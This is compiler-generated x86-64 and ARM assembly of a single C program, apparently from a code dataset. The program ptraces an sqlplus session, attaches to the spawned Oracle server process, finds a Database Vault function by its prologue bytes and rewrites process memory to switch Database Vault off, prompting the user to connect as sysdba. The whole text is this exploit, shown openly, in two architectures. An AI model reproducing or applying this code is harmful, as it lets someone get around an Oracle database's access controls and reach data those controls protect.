	.file	"extr_7177.c_main.c"
	.intel_syntax noprefix
	.text
	.section	.rodata.str1.1,"aMS",@progbits,1
.LC0:
	.string	"fork"
	.section	.rodata.str1.8,"aMS",@progbits,1
	.align 8
.LC1:
	.string	"unable to ptrace(PTRACE_TRACEME)"
	.section	.rodata.str1.1
.LC2:
	.string	"/nolog"
.LC3:
	.string	"sqlplus"
.LC4:
	.string	"execl"
	.section	.rodata.str1.8
	.align 8
.LC5:
	.string	"[%d] unable to register cleanup function\n"
	.align 8
.LC6:
	.string	"[%d] starting to trace sqlplus process (%d)\n"
	.align 8
.LC7:
	.string	"[***] NOW TYPE IN SQLPLUS: conn / as sysdba\n"
	.align 8
.LC8:
	.string	"ptrace(PTRACE_PEEKUSER): unable to get clone() retvalue\n"
	.align 8
.LC9:
	.string	"[%d] clone() syscall in %d, tracing orapid=%d\n"
	.align 8
.LC10:
	.string	"ptrace(PTRACE_ATTACH) to orapid"
	.align 8
.LC11:
	.string	"[%d] execve() syscall in %d, \n"
	.align 8
.LC12:
	.string	"ptrace(PTRACE_DETACH) from child"
	.section	.rodata.str1.1
.LC13:
	.string	"[%d] execve() syscall in %d\n"
	.section	.rodata.str1.8
	.align 8
.LC14:
	.string	"ERROR: unable to find function\n"
	.align 8
.LC15:
	.string	"[***] sucessfuly validated function, DatabaseVault=%d\n"
	.align 8
.LC16:
	.string	"[***] attempting to rewrite memory at 0x%lx\n"
	.align 8
.LC17:
	.string	"ptrace(PTRACE_DETACH) from orapid"
	.section	.text.startup,"ax",@progbits
	.p2align 4
	.globl	main
	.type	main, @function
main:
.LFB0:
	.cfi_startproc
	endbr64
	push	r14
	.cfi_def_cfa_offset 16
	.cfi_offset 14, -16
	push	r13
	.cfi_def_cfa_offset 24
	.cfi_offset 13, -24
	push	r12
	.cfi_def_cfa_offset 32
	.cfi_offset 12, -32
	push	rbp
	.cfi_def_cfa_offset 40
	.cfi_offset 6, -40
	push	rbx
	.cfi_def_cfa_offset 48
	.cfi_offset 3, -48
	sub	rsp, 80
	.cfi_def_cfa_offset 128
	mov	rax, QWORD PTR fs:40
	mov	QWORD PTR 72[rsp], rax
	xor	eax, eax
	call	bfd_init@PLT
	call	fork@PLT
	mov	DWORD PTR child[rip], eax
	cmp	eax, -1
	je	.L31
.L2:
	test	eax, eax
	je	.L32
.L3:
	mov	edi, DWORD PTR cleanup[rip]
	call	atexit@PLT
	test	rax, rax
	jne	.L33
.L6:
	lea	r12, 20[rsp]
	mov	rdi, r12
	call	wait@PLT
	mov	edi, DWORD PTR 20[rsp]
	call	WIFSTOPPED@PLT
	test	rax, rax
	jne	.L34
.L7:
	mov	edi, DWORD PTR stderr[rip]
	lea	rsi, .LC7[rip]
	xor	eax, eax
	lea	r13, 24[rsp]
	lea	rbx, .LC13[rip]
	call	fprintf@PLT
	mov	esi, DWORD PTR child[rip]
	.p2align 4,,10
	.p2align 3
.L8:
	mov	edi, DWORD PTR PTRACE_SYSCALL[rip]
	xor	ecx, ecx
	xor	edx, edx
	call	ptrace@PLT
	mov	rdi, r12
	call	wait@PLT
	mov	esi, DWORD PTR child[rip]
	xor	edx, edx
	mov	rcx, r13
	mov	edi, DWORD PTR PTRACE_GETREGS[rip]
	call	ptrace@PLT
	mov	rax, QWORD PTR 24[rsp]
	cmp	rax, QWORD PTR __NR_clone[rip]
	je	.L35
	cmp	rax, QWORD PTR __NR_execve[rip]
	mov	esi, DWORD PTR child[rip]
	jne	.L8
	xor	eax, eax
	mov	DWORD PTR 12[rsp], esi
	call	getpid@PLT
	mov	esi, DWORD PTR 12[rsp]
	mov	edi, DWORD PTR stderr[rip]
	mov	edx, eax
	xor	eax, eax
	mov	ecx, esi
	mov	rsi, rbx
	call	fprintf@PLT
	mov	esi, DWORD PTR child[rip]
	jmp	.L8
	.p2align 4,,10
	.p2align 3
.L35:
	mov	esi, DWORD PTR child[rip]
	mov	edi, DWORD PTR PTRACE_SYSCALL[rip]
	xor	ecx, ecx
	xor	edx, edx
	call	ptrace@PLT
	mov	rdi, r12
	call	wait@PLT
	mov	rax, QWORD PTR EAX[rip]
	mov	esi, DWORD PTR child[rip]
	xor	ecx, ecx
	mov	edi, DWORD PTR PTRACE_PEEKUSER[rip]
	lea	rdx, 0[0+rax*8]
	call	ptrace@PLT
	mov	ebp, eax
	cmp	eax, -1
	je	.L36
.L10:
	mov	r14d, DWORD PTR child[rip]
	xor	eax, eax
	call	getpid@PLT
	mov	edi, DWORD PTR stderr[rip]
	lea	rsi, .LC9[rip]
	mov	r8d, ebp
	mov	edx, eax
	mov	ecx, r14d
	xor	eax, eax
	call	fprintf@PLT
	mov	edi, DWORD PTR PTRACE_ATTACH[rip]
	xor	ecx, ecx
	xor	edx, edx
	mov	esi, ebp
	call	ptrace@PLT
	cmp	eax, -1
	jne	.L15
	jmp	.L37
	.p2align 4,,10
	.p2align 3
.L12:
	mov	edi, DWORD PTR PTRACE_SYSCALL[rip]
	xor	ecx, ecx
	xor	edx, edx
	mov	esi, ebp
	call	ptrace@PLT
.L15:
	mov	edi, DWORD PTR PTRACE_SYSCALL[rip]
	xor	ecx, ecx
	xor	edx, edx
	mov	esi, ebp
	call	ptrace@PLT
	mov	rdi, r12
	call	wait@PLT
	mov	edi, DWORD PTR PTRACE_GETREGS[rip]
	mov	rcx, r13
	xor	edx, edx
	mov	esi, ebp
	call	ptrace@PLT
	mov	rax, QWORD PTR __NR_execve[rip]
	cmp	QWORD PTR 24[rsp], rax
	jne	.L12
	xor	eax, eax
	call	getpid@PLT
	mov	edi, DWORD PTR stderr[rip]
	mov	ecx, ebp
	lea	rsi, .LC11[rip]
	mov	edx, eax
	xor	eax, eax
	call	fprintf@PLT
	mov	edi, DWORD PTR PTRACE_SYSCALL[rip]
	xor	ecx, ecx
	xor	edx, edx
	mov	esi, ebp
	call	ptrace@PLT
	mov	esi, DWORD PTR child[rip]
	xor	ecx, ecx
	xor	edx, edx
	mov	edi, DWORD PTR PTRACE_DETACH[rip]
	call	ptrace@PLT
	cmp	eax, -1
	je	.L38
.L14:
	test	ebp, ebp
	je	.L18
	xor	eax, eax
	call	locate_dv_func@PLT
	mov	rbx, rax
	test	rax, rax
	je	.L39
.L19:
	lea	r14, 32[rsp]
	mov	rdi, r12
	call	wait@PLT
	xor	esi, esi
	mov	edx, 32
	mov	rdi, r14
	call	memset@PLT
	mov	rdx, r14
	mov	rsi, rbx
	mov	ecx, 32
	mov	edi, ebp
	call	getdata@PLT
	mov	edi, DWORD PTR ASM_DV_FUNC_PROLOG[rip]
	call	strlen@PLT
	mov	esi, DWORD PTR ASM_DV_FUNC_PROLOG[rip]
	mov	rdi, r14
	mov	rdx, rax
	call	memcmp@PLT
	test	eax, eax
	je	.L40
.L20:
	mov	edi, DWORD PTR PTRACE_DETACH[rip]
	xor	ecx, ecx
	xor	edx, edx
	mov	esi, ebp
	call	ptrace@PLT
	cmp	eax, -1
	je	.L41
.L21:
	mov	rdi, r12
	call	wait@PLT
	xor	edi, edi
	call	exit@PLT
	mov	rax, QWORD PTR 72[rsp]
	xor	rax, QWORD PTR fs:40
	jne	.L42
	add	rsp, 80
	.cfi_remember_state
	.cfi_def_cfa_offset 48
	xor	eax, eax
	pop	rbx
	.cfi_def_cfa_offset 40
	pop	rbp
	.cfi_def_cfa_offset 32
	pop	r12
	.cfi_def_cfa_offset 24
	pop	r13
	.cfi_def_cfa_offset 16
	pop	r14
	.cfi_def_cfa_offset 8
	ret
.L32:
	.cfi_restore_state
	mov	edi, DWORD PTR PTRACE_TRACEME[rip]
	xor	ecx, ecx
	xor	edx, edx
	xor	esi, esi
	call	ptrace@PLT
	add	eax, 1
	je	.L43
.L4:
	mov	edi, DWORD PTR sqlplus[rip]
	xor	ecx, ecx
	lea	rdx, .LC2[rip]
	lea	rsi, .LC3[rip]
	call	execl@PLT
	add	eax, 1
	je	.L44
.L5:
	xor	edi, edi
	call	exit@PLT
	jmp	.L3
.L40:
	mov	edi, DWORD PTR ASM_DV_FUNC_PROLOG[rip]
	call	strlen@PLT
	mov	ecx, 1
	lea	rdx, 19[rsp]
	mov	edi, ebp
	lea	r14, [rax+rbx]
	mov	rsi, r14
	call	getdata@PLT
	movzx	edx, BYTE PTR 19[rsp]
	mov	edi, DWORD PTR stderr[rip]
	xor	eax, eax
	lea	rsi, .LC15[rip]
	call	fprintf@PLT
	mov	edi, DWORD PTR stderr[rip]
	mov	rdx, r14
	xor	eax, eax
	lea	rsi, .LC16[rip]
	call	fprintf@PLT
	mov	ecx, 1
	mov	rdx, r13
	mov	rsi, r14
	mov	edi, ebp
	mov	BYTE PTR 24[rsp], 0
	call	putdata@PLT
	jmp	.L20
.L39:
	mov	edi, DWORD PTR stderr[rip]
	lea	rsi, .LC14[rip]
	xor	eax, eax
	call	fprintf@PLT
	or	edi, -1
	call	exit@PLT
	jmp	.L19
.L34:
	mov	r13d, DWORD PTR child[rip]
	xor	eax, eax
	call	getpid@PLT
	mov	edi, DWORD PTR stderr[rip]
	lea	rsi, .LC6[rip]
	mov	edx, eax
	mov	ecx, r13d
	xor	eax, eax
	call	fprintf@PLT
	jmp	.L7
.L33:
	xor	eax, eax
	call	getpid@PLT
	mov	edi, DWORD PTR stderr[rip]
	lea	rsi, .LC5[rip]
	mov	edx, eax
	xor	eax, eax
	call	fprintf@PLT
	jmp	.L6
.L31:
	lea	rdi, .LC0[rip]
	call	perror@PLT
	or	edi, -1
	call	exit@PLT
	mov	eax, DWORD PTR child[rip]
	jmp	.L2
.L41:
	lea	rdi, .LC17[rip]
	call	perror@PLT
	or	edi, -1
	call	exit@PLT
	jmp	.L21
.L37:
	lea	rdi, .LC10[rip]
	call	perror@PLT
	or	edi, -1
	call	exit@PLT
	jmp	.L15
.L38:
	lea	rdi, .LC12[rip]
	call	perror@PLT
	or	edi, -1
	call	exit@PLT
	jmp	.L14
.L36:
	lea	rdi, .LC8[rip]
	call	perror@PLT
	or	edi, -1
	call	exit@PLT
	jmp	.L10
.L44:
	lea	rdi, .LC4[rip]
	call	perror@PLT
	or	edi, -1
	call	exit@PLT
	jmp	.L5
.L43:
	lea	rdi, .LC1[rip]
	call	perror@PLT
	or	edi, -1
	call	exit@PLT
	jmp	.L4
.L18:
	mov	esi, DWORD PTR child[rip]
	jmp	.L8
.L42:
	call	__stack_chk_fail@PLT
	.cfi_endproc
.LFE0:
	.size	main, .-main
	.comm	stderr,4,4
	.comm	sqlplus,4,4
	.comm	cleanup,4,4
	.comm	child,4,4
	.comm	__NR_execve,8,8
	.comm	__NR_clone,8,8
	.comm	PTRACE_TRACEME,4,4
	.comm	PTRACE_SYSCALL,4,4
	.comm	PTRACE_PEEKUSER,4,4
	.comm	PTRACE_GETREGS,4,4
	.comm	PTRACE_DETACH,4,4
	.comm	PTRACE_ATTACH,4,4
	.comm	EAX,8,8
	.comm	ASM_DV_FUNC_PROLOG,4,4
	.ident	"GCC: (Ubuntu 9.4.0-1ubuntu1~20.04.2) 9.4.0"
	.section	.note.GNU-stack,"",@progbits
	.section	.note.gnu.property,"a"
	.align 8
	.long	 1f - 0f
	.long	 4f - 1f
	.long	 5
0:
	.string	 "GNU"
1:
	.align 8
	.long	 0xc0000002
	.long	 3f - 2f
2:
	.long	 0x3
3:
	.align 8
4:

	.arch armv5t
	.eabi_attribute 20, 1
	.eabi_attribute 21, 1
	.eabi_attribute 23, 3
	.eabi_attribute 24, 1
	.eabi_attribute 25, 1
	.eabi_attribute 26, 2
	.eabi_attribute 30, 2
	.eabi_attribute 34, 0
	.eabi_attribute 18, 4
	.file	"extr_7177.c_main.c"
	.text
	.section	.rodata.str1.4,"aMS",%progbits,1
	.align	2
.LC0:
	.ascii	"fork\000"
	.align	2
.LC1:
	.ascii	"unable to ptrace(PTRACE_TRACEME)\000"
	.align	2
.LC2:
	.ascii	"/nolog\000"
	.align	2
.LC3:
	.ascii	"sqlplus\000"
	.align	2
.LC4:
	.ascii	"execl\000"
	.align	2
.LC5:
	.ascii	"[%d] unable to register cleanup function\012\000"
	.align	2
.LC6:
	.ascii	"[%d] starting to trace sqlplus process (%d)\012\000"
	.align	2
.LC7:
	.ascii	"[***] NOW TYPE IN SQLPLUS: conn / as sysdba\012\000"
	.align	2
.LC8:
	.ascii	"ptrace(PTRACE_PEEKUSER): unable to get clone() retv"
	.ascii	"alue\012\000"
	.align	2
.LC9:
	.ascii	"[%d] clone() syscall in %d, tracing orapid=%d\012\000"
	.align	2
.LC10:
	.ascii	"ptrace(PTRACE_ATTACH) to orapid\000"
	.align	2
.LC11:
	.ascii	"[%d] execve() syscall in %d, \012\000"
	.align	2
.LC12:
	.ascii	"ptrace(PTRACE_DETACH) from child\000"
	.align	2
.LC13:
	.ascii	"[%d] execve() syscall in %d\012\000"
	.align	2
.LC14:
	.ascii	"ERROR: unable to find function\012\000"
	.align	2
.LC15:
	.ascii	"[***] sucessfuly validated function, DatabaseVault="
	.ascii	"%d\012\000"
	.align	2
.LC16:
	.ascii	"[***] attempting to rewrite memory at 0x%lx\012\000"
	.align	2
.LC17:
	.ascii	"ptrace(PTRACE_DETACH) from orapid\000"
	.section	.rodata.cst4,"aM",%progbits,4
	.align	2
.LC18:
	.word	__stack_chk_guard
	.section	.text.startup,"ax",%progbits
	.align	2
	.global	main
	.syntax unified
	.arm
	.fpu softvfp
	.type	main, %function
main:
	@ args = 0, pretend = 0, frame = 48
	@ frame_needed = 0, uses_anonymous_args = 0
	push	{r4, r5, r6, r7, r8, r9, r10, fp, lr}
	ldr	r3, .L47
	sub	sp, sp, #60
	ldr	r3, [r3]
	str	r3, [sp, #52]
	mov	r3,#0
	bl	bfd_init
	bl	fork
	ldr	r5, .L47+4
	cmn	r0, #1
	mov	r4, r0
	str	r0, [r5]
	beq	.L34
.L2:
	cmp	r4, #0
	beq	.L35
.L3:
	ldr	r3, .L47+8
	ldr	r10, .L47+12
	ldr	r0, [r3]
	bl	atexit
	cmp	r0, #0
	bne	.L30
.L6:
	add	r0, sp, #12
	bl	wait
	ldr	r0, [sp, #12]
	bl	WIFSTOPPED
	cmp	r0, #0
	bne	.L36
.L7:
	ldr	r1, .L47+16
	ldr	r0, [r10]
	bl	fprintf
	ldr	r6, .L47+20
	ldr	r7, .L47+24
	ldr	r9, .L47+28
	ldr	r8, .L47+32
.L8:
	mov	r3, #0
	ldr	r1, [r5]
	mov	r2, r3
	ldr	r0, [r6]
	bl	ptrace
	add	r0, sp, #12
	bl	wait
	mov	r2, #0
	add	r3, sp, #16
	ldr	r1, [r5]
	ldr	r0, [r7]
	bl	ptrace
	ldr	r3, [sp, #16]
	ldr	r2, [r9]
	cmp	r3, r2
	beq	.L37
	ldr	r2, [r8]
	cmp	r3, r2
	bne	.L8
	ldr	r4, [r10]
	bl	getpid
	ldr	r3, [r5]
	mov	r2, r0
	ldr	r1, .L47+36
	mov	r0, r4
	bl	fprintf
	b	.L8
.L37:
	mov	r3, #0
	ldr	r1, [r5]
	mov	r2, r3
	ldr	r0, [r6]
	bl	ptrace
	add	r0, sp, #12
	bl	wait
	ldr	r3, .L47+40
	ldr	r0, .L47+44
	ldr	r2, [r3]
	ldr	r1, [r5]
	mov	r3, #0
	ldr	r0, [r0]
	lsl	r2, r2, #2
	bl	ptrace
	cmn	r0, #1
	mov	r4, r0
	beq	.L38
.L10:
	ldr	fp, [r10]
	bl	getpid
	str	r4, [sp]
	mov	r2, r0
	ldr	r3, [r5]
	mov	r0, fp
	ldr	r1, .L47+48
	bl	fprintf
	mov	r3, #0
	ldr	r0, .L47+52
	mov	r1, r4
	mov	r2, r3
	ldr	r0, [r0]
	bl	ptrace
	cmn	r0, #1
	mov	fp, r0
	bne	.L15
	b	.L39
.L12:
	mov	r3, #0
	mov	r1, r4
	mov	r2, r3
	ldr	r0, [r6]
	bl	ptrace
.L15:
	mov	r3, #0
	mov	r1, r4
	mov	r2, r3
	ldr	r0, [r6]
	bl	ptrace
	add	r0, sp, #12
	bl	wait
	mov	r2, #0
	add	r3, sp, #16
	mov	r1, r4
	ldr	r0, [r7]
	bl	ptrace
	ldr	r2, [sp, #16]
	ldr	r3, [r8]
	cmp	r2, r3
	bne	.L12
	ldr	fp, [r10]
	bl	getpid
	mov	r3, r4
	mov	r2, r0
	ldr	r1, .L47+56
	mov	r0, fp
	bl	fprintf
	mov	r3, #0
	mov	r1, r4
	mov	r2, r3
	ldr	r0, [r6]
	bl	ptrace
	mov	r3, #0
	ldr	r0, .L47+60
	mov	r2, r3
	ldr	r1, [r5]
	ldr	r0, [r0]
	bl	ptrace
	cmn	r0, #1
	mov	fp, r0
	beq	.L40
.L14:
	cmp	r4, #0
	beq	.L8
	bl	locate_dv_func
	subs	r6, r0, #0
	beq	.L41
.L18:
	add	r0, sp, #12
	bl	wait
	ldr	r7, .L47+64
	mov	r2, #32
	mov	r1, #0
	add	r0, sp, #20
	bl	memset
	mov	r3, #32
	mov	r1, r6
	add	r2, sp, #20
	mov	r0, r4
	bl	getdata
	ldr	r5, [r7]
	mov	r0, r5
	bl	strlen
	mov	r1, r5
	mov	r2, r0
	add	r0, sp, #20
	bl	memcmp
	subs	r5, r0, #0
	beq	.L42
.L19:
	mov	r3, #0
	ldr	r2, .L47+60
	mov	r1, r4
	ldr	r0, [r2]
	mov	r2, r3
	bl	ptrace
	cmn	r0, #1
	mov	r4, r0
	beq	.L43
.L20:
	add	r0, sp, #12
	bl	wait
	mov	r0, #0
	bl	exit
	ldr	r3, .L47
	ldr	r2, [r3]
	ldr	r3, [sp, #52]
	eors	r2, r3, r2
	mov	r3, #0
	bne	.L44
	mov	r0, #0
	add	sp, sp, #60
	@ sp needed
	pop	{r4, r5, r6, r7, r8, r9, r10, fp, pc}
.L35:
	ldr	r2, .L47+68
	mov	r3, r4
	mov	r1, r4
	ldr	r0, [r2]
	mov	r2, r4
	bl	ptrace
	cmn	r0, #1
	mov	r4, r0
	beq	.L45
.L4:
	ldr	r2, .L47+72
	mov	r3, #0
	ldr	r0, [r2]
	ldr	r1, .L47+76
	ldr	r2, .L47+80
	bl	execl
	cmn	r0, #1
	mov	r4, r0
	beq	.L46
.L5:
	mov	r0, #0
	bl	exit
	b	.L3
.L42:
	ldr	r0, [r7]
	bl	strlen
	add	r6, r0, r6
	mov	r3, #1
	mov	r1, r6
	add	r2, sp, #11
	mov	r0, r4
	bl	getdata
	ldrb	r2, [sp, #11]	@ zero_extendqisi2
	ldr	r1, .L47+84
	ldr	r0, [r10]
	bl	fprintf
	mov	r2, r6
	ldr	r0, [r10]
	ldr	r1, .L47+88
	bl	fprintf
	mov	r1, r6
	mov	r3, #1
	mov	r0, r4
	add	r2, sp, #16
	strb	r5, [sp, #16]
	bl	putdata
	b	.L19
.L41:
	ldr	r1, .L47+92
	ldr	r0, [r10]
	bl	fprintf
	mvn	r0, #0
	bl	exit
	b	.L18
.L36:
	ldr	r4, [r10]
	bl	getpid
	ldr	r3, [r5]
	mov	r2, r0
	ldr	r1, .L47+96
	mov	r0, r4
	bl	fprintf
	b	.L7
.L30:
	ldr	r4, [r10]
	bl	getpid
	ldr	r1, .L47+100
	mov	r2, r0
	mov	r0, r4
	bl	fprintf
	b	.L6
.L43:
	ldr	r0, .L47+104
	bl	perror
	mov	r0, r4
	bl	exit
	b	.L20
.L34:
	ldr	r0, .L47+108
	bl	perror
	mov	r0, r4
	bl	exit
	ldr	r4, [r5]
	b	.L2
.L40:
	ldr	r0, .L47+112
	bl	perror
	mov	r0, fp
	bl	exit
	b	.L14
.L38:
	ldr	r0, .L47+116
	bl	perror
	mov	r0, r4
	bl	exit
	b	.L10
.L39:
	ldr	r0, .L47+120
	bl	perror
	mov	r0, fp
	bl	exit
	b	.L15
.L46:
	ldr	r0, .L47+124
	bl	perror
	mov	r0, r4
	bl	exit
	b	.L5
.L45:
	ldr	r0, .L47+128
	bl	perror
	mov	r0, r4
	bl	exit
	b	.L4
.L44:
	bl	__stack_chk_fail
.L48:
	.align	2
.L47:
	.word	.LC18
	.word	child
	.word	cleanup
	.word	stderr
	.word	.LC7
	.word	PTRACE_SYSCALL
	.word	PTRACE_GETREGS
	.word	__NR_clone
	.word	__NR_execve
	.word	.LC13
	.word	EAX
	.word	PTRACE_PEEKUSER
	.word	.LC9
	.word	PTRACE_ATTACH
	.word	.LC11
	.word	PTRACE_DETACH
	.word	ASM_DV_FUNC_PROLOG
	.word	PTRACE_TRACEME
	.word	sqlplus
	.word	.LC3
	.word	.LC2
	.word	.LC15
	.word	.LC16
	.word	.LC14
	.word	.LC6
	.word	.LC5
	.word	.LC17
	.word	.LC0
	.word	.LC12
	.word	.LC8
	.word	.LC10
	.word	.LC4
	.word	.LC1
	.size	main, .-main
	.comm	stderr,4,4
	.comm	sqlplus,4,4
	.comm	cleanup,4,4
	.comm	child,4,4
	.comm	__NR_execve,4,4
	.comm	__NR_clone,4,4
	.comm	PTRACE_TRACEME,4,4
	.comm	PTRACE_SYSCALL,4,4
	.comm	PTRACE_PEEKUSER,4,4
	.comm	PTRACE_GETREGS,4,4
	.comm	PTRACE_DETACH,4,4
	.comm	PTRACE_ATTACH,4,4
	.comm	EAX,4,4
	.comm	ASM_DV_FUNC_PROLOG,4,4
	.ident	"GCC: (Ubuntu 9.4.0-1ubuntu1~20.04.2) 9.4.0"
	.section	.note.GNU-stack,"",%progbits
